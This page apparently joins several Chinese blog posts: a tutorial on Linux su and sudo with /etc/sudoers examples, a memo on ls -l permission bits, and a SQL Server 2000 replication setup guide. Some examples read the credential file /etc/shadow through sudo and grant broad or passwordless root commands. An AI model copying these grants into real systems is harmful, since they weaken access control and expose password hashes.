获取超级权限的过程,就是切换普通用户身份到超级用户身份的过程;这个过程主要是通过su和sudo 来解决;
三、使用 su 命令临时切换用户身份;
1、su 的适用条件和威力
su命令就是切换用户的工具,怎么理解呢?比如我们以普通用户beinan登录的,但要添加用户任务,执行useradd ,beinan用户没有这个权限,而这个权限恰恰由root所拥有。解决办法无法有两个,一是退出beinan用户,重新以root用户登录,但这种办法并不是最好的;二是我们没有必要退出beinan用户,可以用su来切换到root下进行添加用户的工作,等任务完成后再退出root。我们可以看到当然通过su 切换是一种比较好的办法;
通过su可以在用户之间切换,如果超级权限用户root向普通或虚拟用户切换不需要密码,什么是权力?这就是!而普通用户切换到其它任何用户都需要密码验证;
2、su 的用法:
su [OPTION选项参数] [用户]-, -l, --login 登录并改变到所切换的用户环境;-c, --commmand=COMMAND 执行一个命令,然后退出所切换到的用户环境;
至于更详细的,请参看man su ;
3、su 的范例:
su 在不加任何参数,默认为切换到root用户,但没有转到root用户家目录下,也就是说这时虽然是切换为root用户了,但并没有改变root登录环境;用户默认的登录环境,可以在/etc/passwd 中查得到,包括家目录,SHELL定义等;
[beinan@localhost ~]$ suPassword:[root@localhost beinan]# pwd/home/beinan
su 加参数 - ,表示默认切换到root用户,并且改变到root用户的环境;
[beinan@localhost ~]$ pwd/home/beinan[beinan@localhost ~]$ su -Password:[root@localhost ~]# pwd/root
su 参数 - 用户名
[beinan@localhost ~]$ su - root 注:这个和su - 是一样的功能;Password:[root@localhost ~]# pwd/root
[beinan@localhost ~]$ su - linuxsir 注:这是切换到 linuxsir用户Password: 注:在这里输入密码;[linuxsir@localhost ~]$ pwd 注:查看用户当前所处的位置;/home/linuxsir[linuxsir@localhost ~]$ id 注:查看用户的UID和GID信息,主要是看是否切换过来了;uid=505(linuxsir) gid=502(linuxsir) groups=0(root),500(beinan),502(linuxsir)[linuxsir@localhost ~]$
[beinan@localhost ~]$ su - -c ls 注:这是su的参数组合,表示切换到root用户,并且改变到root环境,然后列出root家目录的文件,然后退出root用户;Password: 注:在这里输入root的密码;anaconda-ks.cfg Desktop install.log install.log.syslog testgroup testgroupbeinan testgrouproot[beinan@localhost ~]$ pwd 注:查看当前用户所处的位置;/home/beinan[beinan@localhost ~]$ id 注:查看当前用户信息;uid=500(beinan) gid=500(beinan) groups=500(beinan)
4、su的优缺点;
su 的确为管理带来方便,通过切换到root下,能完成所有系统管理工具,只要把root的密码交给任何一个普通用户,他都能切换到root来完成所有的系统管理工作;
但通过su切换到root后,也有不安全因素;比如系统有10个用户,而且都参与管理。如果这10个用户都涉及到超级权限的运用,做为管理员如果想让其它用户通过su来切换到超级权限的root,必须把root权限密码都告诉这10个用户;如果这10个用户都有root权限,通过root权限可以做任何事,这在一定程度上就对系统的安全造成了威协;想想Windows吧,简直就是恶梦;
“没有不安全的系统,只有不安全的人”,我们绝对不能保证这10个用户都能按正常操作流程来管理系统,其中任何一人对系统操作的重大失误,都可能导致系统崩溃或数据损失;
所以su 工具在多人参与的系统管理中,并不是最好的选择,su只适用于一两个人参与管理的系统,毕竟su并不能让普通用户受限的使用;
超级用户root密码应该掌握在少数用户手中,这绝对是真理!所以集权而治的存在还是有一定道理的;
四、sudo 授权许可使用的su,也是受限制的su
1. sudo 的适用条件;
由于su 对切换到超级权限用户root后,权限的无限制性,所以su并不能担任多个管理员所管理的系统。如果用su 来切换到超级用户来管理系统,也不能明确哪些工作是由哪个管理员进行的操作。特别是对于服务器的管理有多人参与管理时,最好是针对每个管理员的技术特长和管理范围,并且有针对性的下放给权限,并且约定其使用哪些工具来完成与其相关的工作,这时我们就有必要用到 sudo。
通过sudo,我们能把某些超级权限有针对性的下放,并且不需要普通用户知道root密码,所以sudo 相对于权限无限制性的su来说,还是比较安全的,所以sudo 也能被称为受限制的su ;另外sudo 是需要授权许可的,所以也被称为授权许可的su;
sudo 执行命令的流程是当前用户切换到root(或其它指定切换到的用户),然后以root(或其它指定的切换到的用户)身份执行命令,执行完成后,直接退回到当前用户;而这些的前提是要通过sudo的配置文件/etc/sudoers来进行授权;
2、从编写 sudo 配置文件/etc/sudoers开始;
sudo的配置文件是/etc/sudoers ,我们可以用他的专用编辑工具visodu ,此工具的好处是在添加规则不太准确时,保存退出时会提示给我们错误信息;配置好后,可以用切换到您授权的用户下,通过sudo -l 来查看哪些命令是可以执行或禁止的;
/etc/sudoers 文件中每行算一个规则,前面带有#号可以当作是说明的内容,并不执行;如果规则很长,一行列不下时,可以用\号来续行,这样看来一个规则也可以拥有多个行;
/etc/sudoers 的规则可分为两类;一类是别名定义,另一类是授权规则;别名定义并不是必须的,但授权规则是必须的;
3、/etc/sudoers 配置文件中别名规则
别名规则定义格式如下:
Alias_Type NAME = item1, item2, ...

Alias_Type NAME = item1, item2, item3 : NAME = item4, item5
别名类型(Alias_Type):别名类型包括如下四种
Host_Alias 定义主机别名;User_Alias 用户别名,别名成员可以是用户,用户组(前面要加%号)Runas_Alias 用来定义runas别名,这个别名指定的是“目的用户”,即sudo 允许切换至的用户;Cmnd_Alias 定义命令别名;
NAME 就是别名了,NMAE的命名是包含大写字母、下划线以及数字,但必须以一个大写字母开头,比如SYNADM、SYN_ADM或SYNAD0是合法的,sYNAMDA或1SYNAD是不合法的;
item 按中文翻译是项目,在这里我们可以译成成员,如果一个别名下有多个成员,成员与成员之间,通过半角,号分隔;成员在必须是有效并事实存在的。什么是有效的呢?比如主机名,可以通过w查看用户的主机名(或ip地址),如果您只是本地机操作,只通过hostname 命令就能查看;用户名当然是在系统中存在的,在/etc/paswd中必须存在;对于定义命令别名,成员也必须在系统中事实存在的文件名(需要绝对路径);
item成员受别名类型 Host_Alias、User_Alias、Runas_Alias、Cmnd_Alias 制约,定义什么类型的别名,就要有什么类型的成员相配。我们用Host_Alias定义主机别名时,成员必须是与主机相关相关联,比如是主机名(包括远程登录的主机名)、ip地址(单个或整段)、掩码等;当用户登录时,可以通过w命令来查看登录用户主机信息;用User_Alias和 Runas_Alias定义时,必须要用系统用户做为成员;用Cmnd_Alias 定义执行命令的别名时,必须是系统存在的文件,文件名可以用通配符表示,配置Cmnd_Alias时命令需要绝对路径;
其中 Runas_Alias 和User_Alias 有点相似,但与User_Alias 绝对不是同一个概念,Runas_Alias 定义的是某个系统用户可以sudo 切换身份到Runas_Alias 下的成员;我们在授权规则中以实例进行解说;
别名规则是每行算一个规则,如果一个别名规则一行容不下时,可以通过\来续行;同一类型别名的定义,一次也可以定义几个别名,他们中间用:号分隔,
Host_Alias HT01=localhost,st05,st04,10,0,0,4,255.255.255.0,192.168.1.0/24 注:定义主机别名HT01,通过=号列出成员Host_Alias HT02=st09,st10 注:主机别名HT02,有两个成员;Host_Alias HT01=localhost,st05,st04,10,0,0,4,255.255.255.0,192.168.1.0/24:HT02=st09,st10 注:上面的两条对主机的定义,可以通过一条来实现,别名之间用:号分割;
注:我们通过Host_Alias 定义主机别名时,项目可以是主机名、可以是单个ip(整段ip地址也可以),也可以是网络掩码;如果是主机名,必须是多台机器的网络中,而且这些机器得能通过主机名相互通信访问才有效。那什么才算是通过主机名相互通信或访问呢?比如 ping 主机名,或通过远程访问主机名来访问。在我们局域网中,如果让计算机通过主机名访问通信,必须设置/etc/hosts,/etc /resolv.conf ,还要有DNS做解析,否则相互之间无法通过主机名访问;在设置主机别名时,如果项目是中某个项目是主机名的话,可以通过hostname 命令来查看本地主机的主机名,通过w命令查来看登录主机是来源,通过来源来确认其它客户机的主机名或ip地址;对于主机别名的定义,看上去有点复杂,其实是很简单。
如果您不明白Host_Alias 是怎么回事,也可以不用设置主机别名,在定义授权规则时通过ALL来匹配所有可能出现的主机情况。如果您把主机方面的知识弄的更明白,的确需要多多学习。
User_Alias SYSAD=beinan,linuxsir,bnnnb,lanhaitun 注:定义用户别名,下有四个成员;要在系统中确实在存在的;User_Alias NETAD=beinan,bnnb 注:定义用户别名NETAD ,我想让这个别名下的用户来管理网络,所以取了NETAD的别名;User_Alias WEBMASTER=linuxsir 注:定义用户别名WEBMASTER,我想用这个别名下的用户来管理网站;User_Alias SYSAD=beinan,linuxsir,bnnnb,lanhaitun:NETAD=beinan,bnnb:WEBMASTER=linuxsir 注:上面三行的别名定义,可以通过这一行 来实现,请看前面的说明,是不是符合?
Cmnd_Alias USERMAG=/usr/sbin/adduser,/usr/sbin/userdel,/usr/bin/passwd [A-Za-z]*,/bin/chown,/bin/chmod 注意:命令别名下的成员必须是文件或目录的绝对路径;Cmnd_Alias DISKMAG=/sbin/fdisk,/sbin/partedCmnd_Alias NETMAG=/sbin/ifconfig,/etc/init.d/networkCmnd_Alias KILL = /usr/bin/killCmnd_Alias PWMAG = /usr/sbin/reboot,/usr/sbin/haltCmnd_Alias SHELLS = /usr/bin/sh, /usr/bin/csh, /usr/bin/ksh, \/usr/local/bin/tcsh, /usr/bin/rsh, \/usr/local/bin/zsh注:这行定义命令别名有点长,可以通过 \ 号断行;Cmnd_Alias SU = /usr/bin/su,/bin,/sbin,/usr/sbin,/usr/bin
在上面的例子中,有KILL和PWMAG的命令别名定义,我们可以合并为一行来写,也就是等价行;
Cmnd_Alias KILL = /usr/bin/kill:PWMAG = /usr/sbin/reboot,/usr/sbin/halt 注:这一行就代表了KILL和PWMAG命令别名,把KILL和PWMAG的别名定义合并在一行写也是可以的;
Runas_Alias OP = root, operatorRunas_Alias DBADM=mysql:OP = root, operator 注:这行是上面两行的等价行;至于怎么理解Runas_Alias ,我们必须得通过授权规则的实例来理解;
4、/etc/sudoers中的授权规则:
授权规则是分配权限的执行规则,我们前面所讲到的定义别名主要是为了更方便的授权引用别名;如果系统中只有几个用户,其实下放权限比较有限的话,可以不用定义别名,而是针对系统用户直接直接授权,所以在授权规则中别名并不是必须的;
授权规则并不是无章可寻,我们只说基础一点的,比较简单的写法,如果您想详细了解授权规则写法的,请参看man sudoers
授权用户 主机=命令动作
这三个要素缺一不可,但在动作之前也可以指定切换到特定用户下,在这里指定切换的用户要用( )号括起来,如果不需要密码直接运行命令的,应该加NOPASSWD:参数,但这些可以省略;举例说明;
实例一:
beinan ALL=/bin/chown,/bin/chmod
如果我们在/etc/sudoers 中添加这一行,表示beinan 可以在任何可能出现的主机名的系统中,可以切换到root用户下执行 /bin/chown 和/bin/chmod 命令,通过sudo -l 来查看beinan 在这台主机上允许和禁止运行的命令;
值得注意的是,在这里省略了指定切换到哪个用户下执行/bin/shown 和/bin/chmod命令;在省略的情况下默认为是切换到root用户下执行;同时也省略了是不是需要beinan用户输入验证密码,如果省略了,默认为是需要验证密码。
为了更详细的说明这些,我们可以构造一个更复杂一点的公式;
授权用户 主机=[(切换到哪些用户或用户组)] [是否需要密码验证] 命令1,[(切换到哪些用户或用户组)] [是否需要密码验证] [命令2],[(切换到哪些用户或用户组)] [是否需要密码验证] [命令3]......
注解:
凡是[ ]中的内容,是可以省略;命令与命令之间用,号分隔;通过本文的例子,可以对照着看哪些是省略了,哪些地方需要有空格;
在[(切换到哪些用户或用户组)] ,如果省略,则默认为root用户;如果是ALL ,则代表能切换到所有用户;注意要切换到的目的用户必须用()号括起来,比如(ALL)、(beinan)
实例二:
beinan ALL=(root) /bin/chown, /bin/chmod
如果我们把第一个实例中的那行去掉,换成这行;表示的是beinan 可以在任何可能出现的主机名的主机中,可以切换到root下执行 /bin/chown ,可以切换到任何用户招执行/bin/chmod 命令,通过sudo -l 来查看beinan 在这台主机上允许和禁止运行的命令;
实例三:
beinan ALL=(root) NOPASSWD: /bin/chown,/bin/chmod
如果换成这个例子呢?表示的是beinan 可以在任何可能出现的主机名的主机中,可以切换到root下执行 /bin/chown ,不需要输入beinan用户的密码;并且可以切换到任何用户下执行/bin/chmod 命令,但执行chmod时需要beinan输入自己的密码;通过sudo -l 来查看beinan 在这台主机上允许和禁止运行的命令;
关于一个命令动作是不是需要密码,我们可以发现在系统在默认的情况下是需要用户密码的,除非特加指出不需要用户需要输入自己密码,所以要在执行动作之前加入NOPASSWD: 参数;
有可能有的弟兄对系统管理的命令不太懂,不知道其用法,这样就影响了他对 sudoers定义的理解,下面我们再举一个最简单,最有说服务力的例子;
实例四:
比如我们想用beinan普通用户通过more /etc/shadow文件的内容时,可能会出现下面的情况;
[beinan@localhost ~]$ more /etc/shadow/etc/shadow: 权限不够
这时我们可以用sudo more /etc/shadow 来读取文件的内容;就就需要在/etc/soduers中给beinan授权;
于是我们就可以先su 到root用户下通过visudo 来改/etc/sudoers ;(比如我们是以beinan用户登录系统的)
[beinan@localhost ~]$ suPassword: 注:在这里输入root密码 下面运行visodu;[root@localhost beinan]# visudo 注:运行visudo 来改 /etc/sudoers
加入如下一行,退出保存;退出保存,在这里要会用vi,visudo也是用的vi编辑器;至于vi的用法不多说了;
beinan ALL=/bin/more 表示beinan可以切换到root下执行more 来查看文件;
退回到beinan用户下,用exit命令;
[root@localhost beinan]# exitexit[beinan@localhost ~]$
查看beinan的通过sudo能执行哪些命令?
[beinan@localhost ~]$ sudo -lPassword: 注:在这里输入beinan用户的密码User beinan may run the following commands on this host: 注:在这里清晰的说明在本台主机上,beinan用户可以以root权限运行more ;在root权限下的more ,可以查看任何文本文件的内容的;(root) /bin/more
最后,我们看看是不是beinan用户有能力看到/etc/shadow文件的内容;
[beinan@localhost ~]$ sudo more /etc/shadow
beinan 不但能看到 /etc/shadow文件的内容,还能看到只有root权限下才能看到的其它文件的内容,比如;
[beinan@localhost ~]$ sudo more /etc/gshadow
对于beinan用户查看和读取所有系统文件中,我只想把/etc/shadow 的内容可以让他查看;可以加入下面的一行;
beinan ALL=/bin/more /etc/shadow
题外话:有的弟兄会说,我通过su 切换到root用户就能看到所有想看的内容了,哈哈,对啊。但咱们现在不是在讲述sudo的用法吗?如果主机上有多个用户并且不知道root用户的密码,但又想查看某些他们看不到的文件,这时就需要管理员授权了;这就是sudo的好处;
实例五:练习用户组在/etc/sudoers中写法;
如果用户组出现在/etc/sudoers 中,前面要加%号,比如%beinan ,中间不能有空格;
%beinan ALL=/usr/sbin/*,/sbin/*
如果我们在 /etc/sudoers 中加上如上一行,表示beinan用户组下的所有成员,在所有可能的出现的主机名下,都能切换到root用户下运行 /usr/sbin和/sbin目录下的所有命令;
实例六:练习取消某类程序的执行;
取消程序某类程序的执行,要在命令动作前面加上!号; 在本例中也出现了通配符的*的用法;
beinan ALL=/usr/sbin/*,/sbin/*,!/usr/sbin/fdisk 注:把这行规则加入到/etc/sudoers中;但您得有beinan这个用户组,并且beinan也是这个组中的才行;
本规则表示beinan用户在所有可能存在的主机名的主机上运行/usr/sbin和/sbin下所有的程序,但fdisk 程序除外;
[beinan@localhost ~]$ sudo -lPassword: 注:在这里输入beinan用户的密码;User beinan may run the following commands on this host:(root) /usr/sbin/*(root) /sbin/*(root) !/sbin/fdisk
[beinan@localhost ~]$ sudo /sbin/fdisk -lSorry, user beinan is not allowed to execute '/sbin/fdisk -l' as root on localhost.
注:不能切换到root用户下运行fdisk 程序;
实例七:别名的运用的实践;
假如我们就一台主机localhost,能通过hostname 来查看,我们在这里就不定义主机别名了,用ALL来匹配所有可能出现的主机名;并且有beinan、linuxsir、lanhaitun 用户;主要是通过小例子能更好理解;sudo虽然简单好用,但能把说的明白的确是件难事;最好的办法是多看例子和man soduers ;
User_Alias SYSADER=beinan,linuxsir,%beinanUser_Alias DISKADER=lanhaitunRunas_Alias OP=rootCmnd_Alias SYDCMD=/bin/chown,/bin/chmod,/usr/sbin/adduser,/usr/bin/passwd [A-Za-z]*,!/usr/bin/passwd rootCmnd_Alias DSKCMD=/sbin/parted,/sbin/fdisk 注:定义命令别名DSKCMD,下有成员parted和fdisk ;SYSADER ALL= SYDCMD,DSKCMDDISKADER ALL=(OP) DSKCMD
注解:
第一行:定义用户别名SYSADER 下有成员 beinan、linuxsir和beinan用户组下的成员,用户组前面必须加%号;第二行:定义用户别名 DISKADER ,成员有lanhaitun第三行:定义Runas用户,也就是目标用户的别名为OP,下有成员root第四行:定义SYSCMD命令别名,成员之间用,号分隔,最后的!/usr/bin/passwd root 表示不能通过passwd 来更改root密码;第五行:定义命令别名DSKCMD,下有成员parted和fdisk ;第六行: 表示授权SYSADER下的所有成员,在所有可能存在的主机名的主机下运行或禁止 SYDCMD和DSKCMD下定义的命令。更为明确遥说,beinan、linuxsir和beinan用户组下的成员能以root身份运行 chown 、chmod 、adduser、passwd,但不能更改root的密码;也可以以root身份运行 parted和fdisk ,本条规则的等价规则是;
beinan,linuxsir,%beinan ALL=/bin/chown,/bin/chmod,/usr/sbin/adduser,/usr/bin/passwd [A-Za-z]*,!/usr/bin/passwd root,/sbin/parted,/sbin/fdisk
第七行:表示授权DISKADER 下的所有成员,能以OP的身份,来运行 DSKCMD ,不需要密码;更为明确的说 lanhaitun 能以root身份运行 parted和fdisk 命令;其等价规则是:
lanhaitun ALL=(root) /sbin/parted,/sbin/fdisk
可能有的弟兄会说我想不输入用户的密码就能切换到root并运行SYDCMD和DSKCMD 下的命令,那应该把把NOPASSWD:加在哪里为好?理解下面的例子吧,能明白的;
SYSADER ALL= NOPASSWD: SYDCMD, NOPASSWD: DSKCMD
5、/etc/sudoers中其它的未尽事项;
在授权规则中,还有 NOEXEC:和EXEC的用法,自己查man sudoers 了解;还有关于在规则中通配符的用法,也是需要了解的。这些内容不多说了,毕竟只是一个入门性的文档。soduers配置文件要多简单就有多简单,要多难就有多难,就看自己的应用了。
6、sudo的用法;
我们在前面讲的/etc/sudoers 的规则写法,最终的目的是让用户通过sudo读取配置文件中的规则来实现匹配和授权,以便替换身份来进行命令操作,进而完成在其权限下不可完成的任务;
我们只说最简单的用法;更为详细的请参考man sudo
sudo [参数选项] 命令-l 列出用户在主机上可用的和被禁止的命令;一般配置好/etc/sudoers后,要用这个命令来查看和测试是不是配置正确的;-v 验证用户的时间戳;如果用户运行sudo 后,输入用户的密码后,在短时间内可以不用输入口令来直接进行sudo 操作;用-v 可以跟踪最新的时间戳;-u 指定以以某个用户执行特定操作;-k 删除时间戳,下一个sudo 命令要求用求提供密码;
举例:
首先我们通过visudo 来改/etc/sudoers 文件,加入下面一行;
einan,linuxsir,%beinan ALL=/bin/chown,/bin/chmod,/usr/sbin/adduser,/usr/bin/passwd [A-Za-z]*,!/usr/bin/passwd root,/sbin/parted,/sbin/fdisk
然后列出beinan用户在主机上通过sudo 可以切换用户所能用的命令或被禁止用的命令;
[beinan@localhost ~]$ sudo -l 注:列出用户在主机上能通过切换用户的可用的或被禁止的命令;
Password: 注:在这里输入您的用户密码;
User beinan may run the following commands on this host:(root) /bin/chown 注:可以切换到root下用chown命令;(root) /bin/chmod 注:可以切换到root下用chmod命令;(root) /usr/sbin/adduser 注:可以切换到root下用adduser命令;(root) /usr/bin/passwd [A-Za-z]* 注:可以切换到root下用 passwd 命令;(root) !/usr/bin/passwd root 注:可以切换到root下,但不能执行passwd root 来更改root密码;(root) /sbin/parted 注:可以切换到 root下执行parted ;(root) /sbin/fdisk 注:可以切换到root下执行 fdisk ;
通过上面的sudo -l 列出可用命令后,我想通过chown 命令来改变/opt目录的属主为beinan ;
[beinan@localhost ~]$ ls -ld /opt 注:查看/opt的属主;rwxr-xr-x 26 root root 4096 10月 27 10:09 /opt 注:得到的答案是归属root用户和root用户组;[beinan@localhost ~]$ sudo chown beinan:beinan /opt 注:通过chown 来改变属主为beinan用户和beinan用户组;[beinan@localhost ~]$ ls -ld /opt 注:查看/opt属主是不是已经改变了;drwxr-xr-x 26 beinan beinan 4096 10月 27 10:09 /opt
我们通过上面的例子发现beinan用户能切换到root后执行改变用户口令的passwd命令;但上面的sudo -l 输出又明文写着不能更改root的口令;也就是说除了root的口令,beinan用户不能更改外,其它用户的口令都能更改。下面我们来测试;
对于一个普通用户来说,除了更改自身的口令以外,他不能更改其它用户的口令。但如果换到root身份执行命令,则可以更改其它用户的口令;
比如在系统中有linuxsir这个用户, 我们想尝试更改这个用户的口令,
[beinan@localhost ~]$ passwd linuxsir 注:不通过sudo 直接运行passwd 来更改linuxsir用户的口令;passwd: Only root can specify a user name. 注:失败,提示仅能通过 root来更改;[beinan@localhost ~]$ sudo passwd linuxsir 注:我们通过/etc/sudoers 的定义,让beinan切换到root下执行 passwd 命令来改变linuxsir的口令;Changing password for user linuxsir.New UNIX password: 注:输入新口令;Retype new UNIX password: 注:再输入一次;passwd: all authentication tokens updated successfully. 注:改变成功;
后记:
本文是用户管理的文档的重要组成部份,我计划在明天开始写用户管理控制工具,比如 useradd、userdel、usermod ,也就是管理用户的工具介绍;当然我还会写用户查询工具等与用户管理相关的;

Linux 文件rwx属性的含义(备忘)

Linux上的文件以.开头的文件被系统视为隐藏文件,仅用ls命令是看不到他们的,而用ls -a除了显示 一般文件名外,连隐藏文件也会显示出来。ls -l(这个参数是字母L的小写,不是数字1)这个命令可以使用长格式显示文件内容,如果需要察看更详细的文件资料,就要用到ls -l这个指令。例如我在某个目录下键入ls -l可能会显示如下信息(一共7个栏位):位置??? 1??????? 2????????? 3?????????? 4 ??? ??? ??? 5 ??? ??? ??? 6 ??? ??? ??? ??? 7文件属性 文件数 拥有者 所属的group 文件大小 建档日期 文件名drwx------ 2 Guest users 1024 Nov 21 21:05 Mail-rwx--x--x 1 root root 89080 Nov 7 22:41 tar*-rwxr-xr-x 1 root bin 5013 Aug 15 9:32 uname*lrwxrwxrwx 1 root root 4 Nov 24 19:30 zcat->gzip-rwxr-xr-x 1 root bin 308364 Nov 29 7:43 zsh*-rwsr-x--- 1 root bin 9853 Aug 15 5:46 su*第一个栏位,表示文件的属性。Linux的文件基本上分为三个属性:可读(r),可写(w),可执行(x)。但是这里有十个格子可以添(具体程序实现时,实际上是十个bit位)。第一个小格是特殊表示格,表示目录或连结文件等等,d表示目录,例如drwx------;l表示连结文件,如 lrwxrwxrwx;如果是以一横"-"表示,则表示这是文件。其余剩下的格子就以每3格为一个单位。因为Linux是多用户多任务系统,所以一个文件可能同时被许多人使用,所以我们一定要设好每个文件的权限,其文件的权限位置排列顺序是(以-rwxr-xr-x为例):rwx(Owner)r-x(Group)r-x(Other)这个例子表示的权限是:使用者自己可读,可写,可执行;同一组的用户可读,不可写,可执行;其它用户可读,不可写,可执行。另外,有一些程序属性的执行部分不是x,而是s,这表示执行这个程序的使用者,临时可以有和拥有者一样权力的身份来执行该程序。一般出现在系统管理之类的指令或程序,让使用者执行时,拥有root身份。第二个栏位,表示文件个数。如果是文件的话,那这个数目自然是1了,如果是目录的话,那它的数目就是该目录中的文件个数了。第三个栏位,表示该文件或目录的拥有者。若使用者目前处于自己的home,那这一栏大概都是它的账号名称。第四个栏位,表示所属的组(group)。每一个使用者都可以拥有一个以上的组,不过大部分的使用者应该都只属于一个组,只有当系统管理员希望给予某使用者特殊权限时,才可能会给他另一个组。第五栏位,表示文件大小。文件大小用byte来表示,而空目录一般都是1024byte,你当然可以用其它参数使文件显示的单位不同,如使用ls -k就是用kb莱显示一个文件的大小单位,不过一般我们还是以byte为主。第六个栏位,表示创建日期。以"月,日,时间"的格式表示,如Aug 15 5:46表示8月15日早上5:46分。第七个栏位,表示文件名。我们可以用ls -a显示隐藏的文件名。

同步SQL Server 2000 数据库

为什么要同步SQL Server 2000 数据库,它都用在什么场合
数据实时备份同步,数据库服务器出问题时我们也有其正常工作时的备份
数据实时备份同步,一台服务器负载不起时,可以用来做负载均衡
数据实时备份同步,数据库服务器可以无间断,无损失迁移
主服务器被攻击或当机时另一台服务同步机可以应急
。。。。。可以说好处非常多的。暂时写这么多

SQL Server 2000 数据库同步配置的原理
复制的概念
Microsoft? SQL Server? 2000 的复制是在数据库之间对数据和数据库对象进行复制和分发并进行同步以确保其一致性的一组技术。
使用复制可以将数据分发到不同位置,通过局域网、使用拨号连接、通过 Internet 分发给远程或移动用户。复制还能够使用户提高应用程序性能,根据数据的使用方式物理分隔数据(例如,将联机事务处理 (OLTP) 和决策支持系统分开),或者跨越多个服务器分布数据库处理。
---------------------------------------------------------------------------SQL复制的基本元素包括
发布服务器、订阅服务器、分发服务器、发布、项目
发布服务器发布服务器是提供数据以便复制到其它服务器的服务器。发布服务器可以具有一个或多个发布,每个发布代表一组逻辑相关的数据。除了指定其中哪些数据需要复制之外,发布服务器还检测事务复制期间发生更改的数据并维护有关此站点上所有发布的信息。
分发服务器分发服务器是作为分发数据库宿主并存储历史数据和/或事务以及元数据的服务器。分发服务器的角色根据执行的复制类型而不同。有关更多信息,请参见复制类型。远程分发服务器是独立于发布服务器并配置为复制的分发服务器的服务器。本地分发服务器是既配置为复制的发布服务器又配置为复制的分发服务器的服务器。
订阅服务器订阅服务器是接收复制数据的服务器。订阅服务器订阅的是发布而不是发布中分离的项目;并且订阅服务器只订阅其需要的发布,而不是发布服务器上所有可用的发布。根据复制的类型和所选择的复制选项,订阅服务器还可以将数据更改传播回发布服务器或将数据重新发布到其它订阅服务器。
发布发布是一个数据库中的一个或多个项目的集合。这种多个项目的分组使得指定逻辑相关的一组数据和数据库对象以一起复制变得更容易。
项目项目是指定要复制的数据表、数据分区或数据库对象。项目可以是完整的表、某几列(使用垂直筛选)、某几行(使用水平筛选)、存储过程或视图定义、存储过程的执行、视图、索引视图或用户定义函数。
订阅订阅是对数据或数据库对象的复本的请求。订阅定义将接收的发布和接收的时间、地点。订阅的同步或数据分发可以由发布服务器(强制订阅)或订阅服务器(请求订阅)请求。发布可以支持强制订阅和请求订阅的混合。
---------------------------------------------------------------------------SQL复制的工作原理SQL SERVER 主要采用出版物、订阅的方式来处理复制。源数据所在的服务器是出版服务器,负责发表数据。出版服务器把要发表的数据的所有改变情况的拷贝复制到分发服务器分发服务器包含有一个分发数据库,可接收数据的所有改变,并保存这些改变,再把这些改变分发给订阅服务器

精品版SQL Server 2000 数据库同步配置
SQL SERVER复制技术类型,三种复制技术,分别是(详细的说明参考SQL联机帮助):1、快照复制2、事务复制3、合并复制
下介绍实现复制的步骤。(以快照复制为例)
准备工作:
1.发布服务器,订阅服务器都创建一个同名的windows用户,并设置相同的密码,做为发布快照文件夹的有效访问用户我的电脑--控制面板--管理工具--计算机管理--用户和组--右键用户--新建用户--建立一个隶属于administrator组的登陆windows的用户
2.在发布服务器上,新建一个共享目录,做为发布的快照文件的存放目录,操作:
我的电脑--D:\ 新建一个目录,名为: PUB--右键这个新建的目录--属性--共享--选择"共享该文件夹"--通过"权限"按纽来设置具体的用户权限,保证第一步中创建的用户具有对该文件夹的所有权限--确定
3.设置SQL代理(SQLSERVERAGENT)服务的启动用户(发布/订阅服务器均做此设置)
开始--程序--管理工具--服务--右键SQLSERVERAGENT--属性--登陆--选择"此账户"--输入或者选择第一步中创建的windows登录用户名--"密码"中输入该用户的密码
4.设置SQL Server身份验证模式,解决连接时的权限问题(发布/订阅服务器均做此设置)
企业管理器--右键SQL实例--属性--安全性--身份验证--选择"SQL Server 和 Windows"--确定
5.在发布服务器和订阅服务器上互相注册企业管理器--右键SQL Server组--新建SQL Server注册...--下一步--可用的服务器中,输入你要注册的远程服务器名 --添加--下一步--连接使用,选择第二个"SQL Server身份验证"--下一步--输入用户名和密码(一般是sa,密码最好设置一下非常复杂的)--下一步--选择SQL Server组,也可以创建一个新组--下一步--完成
6.对于只能用IP,不能用计算机名的,为其注册服务器别名(在连接端配置,比如,在订阅服务器上配置的话,服务器名称中输入的是发布服务器的IP)开始--程序--Microsoft SQL Server--客户端网络实用工具--别名--添加--网络库选择"tcp/ip"--服务器别名输入SQL服务器名--连接参数--服务器名称中输入SQL服务器ip地址--如果你修改了SQL的端口,取消选择"动态决定端口",并输入对应的端口号
==============================================================================
正式开始:
1.配置发布服务器
a. 选中指定 [服务器] 节点b. 从 [工具] 下拉菜单的 [复制] 子菜单中选择 [发布、订阅服务器和分发] 命令c. 系统弹出一个对话框点 [下一步] 然后看着提示操作--直到"指定快照文件夹"--在"快照文件夹"中输入准备工作中创建的目录: \\<服务器名>\pub一[下一步] 直操作到完成。d. 当完成了出版服务器的设置以后系统会为该服务器的树形结构中添加一个复制监视器同时也生成一个分发数据库(distribution)
---------------------------------------------------------------------------
2.创建发布a. 选中指定的服务器b. 从 [工具] 菜单的 [复制] 子菜单中选择 [创建和管理发布] 命令。此时系统会弹出一个对话框c. 选择要创建发布的数据库,然后单击 [创建发布]d. 在 [创建发布向导] 的提示对话框中单击 [下一步] 系统就会弹出一个对话框。对话框上的内容是复制的三个类型。我们现在选第一个也就是默认的快照发布(其他两个大家可以去看看帮助)e. 单击 [下一步] 系统要求指定可以订阅该发布的数据库服务器类型,SQLSERVER允许在不同的数据库如 ORACLE或ACCESS之间进行数据复制。但是在这里我们选择运行"SQL SERVER 2000"的数据库服务器f. 单击 [下一步] ,选择要发布的对象(如表,视图,存储过程,一般是表)g. 然后 [下一步] 直到操作完成。当完成出版物的创建后创建出版物的数据库也就变成了一个共享数据库。
---------------------------------------------------------------------------
3.设计订阅a. 选中指定的订阅服务器b. 从 [工具] 下拉菜单中选择 [复制] 子菜单的 [请求订阅]c. 按照提示单击 [下一步] 操作直到系统会提示检查SQL SERVER代理服务的运行状态,执行复制操作的前提条件是SQL SERVER代理服务必须已经启动。(选择一发布服务器,然后选择你要的一个发布,一次只能添加一下,然后新建一个同名的数据库,一路下一步就可以了,其它数据库也这样来。操作过程中可能会出现说服务器不支持匿名什么来着,需要在发布服务器上右击一个发布,订阅选项,允许匿名请求订阅选中就可以了。)d. 单击 [完成] 完成订阅操作。

----------------------------------------------------------------------------
